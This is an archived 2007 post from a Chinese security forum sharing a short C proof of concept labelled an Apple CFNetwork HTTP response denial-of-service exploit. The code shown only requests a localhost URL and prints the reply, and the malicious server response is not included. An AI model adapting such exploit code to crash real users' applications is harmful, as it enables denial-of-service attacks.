邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-1-28 09:46

Apple CFNetwork HTTP Response Denial of Service Exploit (c code)

[code]
// gcc MOAB-25-01-2007.c -o cfnet-http -framework Carbon

#import <CoreFoundation/CoreFoundation.h>
#import <Carbon/Carbon.h>

int main() {
  SInt32 ret_code;
  UInt8 *myPtr;
  CFDataRef myData;
  CFStringRef url = CFSTR("[url]http://localhost:8080/index.html[/url]");
  
  printf("Requesting URL\n");
  
  CFURLRef myURL = CFURLCreateWithString(kCFAllocatorDefault, url, NULL);
  CFURLCreateDataAndPropertiesFromResource(kCFAllocatorDefault, myURL, &myData,
                      NULL, NULL, &ret_code);
  
  if (myData != NULL) {
    myPtr = (UInt8 *)CFDataGetBytePtr(myData);
    printf("Data: %s\n", myPtr);
  }
  
  CFRelease(myURL);
  CFRelease(url);
}


[/code]

页: [1]
© 1999-2008 EvilOctal Security Team